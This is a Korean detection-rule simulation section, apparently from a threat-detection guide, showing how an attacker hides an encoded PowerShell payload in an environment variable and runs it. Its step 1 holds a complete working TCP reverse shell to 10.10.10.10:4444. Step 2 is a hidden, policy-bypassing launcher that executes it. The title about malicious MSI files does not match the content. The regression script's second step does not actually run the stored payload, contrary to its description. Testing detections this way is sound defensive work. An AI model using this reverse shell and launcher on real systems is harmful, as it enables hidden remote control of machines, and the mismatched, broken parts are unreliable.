악성 MSI 배경이 돌아왔다

시뮬레이션 실행

전제 조건: 원격 측정 및 기준점 사전 점검이 통과했어야 합니다.

근거: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적대적 기술(TTP)의 정확한 실행을 설명합니다. 명령 및 서사는 식별된 TTP와 직접적으로 대응해야 하며 탐지 논리에 의해 예상되는 원격 측정을 생성하는 것을 목표로 합니다.

• 공격 내러티브 및 명령:
  공격자는 먼저 Base64로 인코딩된 PowerShell 페이로드를 INTERNAL_DB_CACHE이라는 프로세스 수준 환경 변수에 주입합니다. 이 페이로드는 디코딩되면 역방향 셸을 시작합니다. 그런 다음 공격자는 이 변수를 읽고 ScriptBlock::Create을 통해 실행하는 두 번째 PowerShell 프로세스를 호출하여 즉각적인 명령줄에서 악성 명령을 숨깁니다. 이러한 ‘living-off-the-land’ 접근 방식은 정적 서명 탐지를 피하고 규칙이 잡아내도록 설계된 2단계 패턴을 활용합니다.

  1. 1단계 – 페이로드를 인코딩하고 환경 변수에 저장

     $payload = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
     $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
     [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")

  2. 2단계 – 인코딩된 페이로드를 환경 변수에서 실행

     powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command [ScriptBlock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:INTERNAL_DB_CACHE)))

• 회귀 테스트 스크립트: 아래 스크립트는 두 단계를 자동화하고, 상관을 위한 타임스탬프를 캡처하며, 첫 번째 프로세스가 완료된 후 두 번째 프로세스가 시작되기 전에 짧은 휴식을 삽입합니다.

  # ----------------------------------------------
  # 환경 변수 인코딩된 페이로드의 PowerShell 시뮬레이션
  # ----------------------------------------------
  
  # 1단계 – 무해한 역방향 셸 페이로드 인코딩 (귀하의 C2 주소로 대체)
  $payload = '$Sleep = 5; Start-Sleep -Seconds $Sleep'   # 안전한 테스트를 위한 작은 무해한 페이로드
  $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
  [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")
  Write-Host "[*] 환경 변수 INTERNAL_DB_CACHE 설정 완료."
  
  # 첫 번째 명령이 기록되도록 잠시 멈춤
  Start-Sleep -Seconds 2
  
  # 2단계 – 변수에서 페이로드 실행
  powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command `
  Write-Host "[*] 페이로드 실행 트리거되었습니다."

• 정리 명령: 임시 환경 변수를 제거하고 테스트 동안 생성된 불필요한 프로세스를 종료합니다.

  # 테스트 환경 변수 제거
  [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $null, "Process")
  Write-Host "[*] 정리 – INTERNAL_DB_CACHE 제거 완료."
  
  # 남겨진 powershell.exe 인스턴스 제거 (현재 세션 제외)
  Get-Process -Name "powershell" | Where-Object {$_.Id -ne $PID} | Stop-Process -Force
  Write-Host "[*] 정리 – 남겨진 PowerShell 프로세스 종료 완료."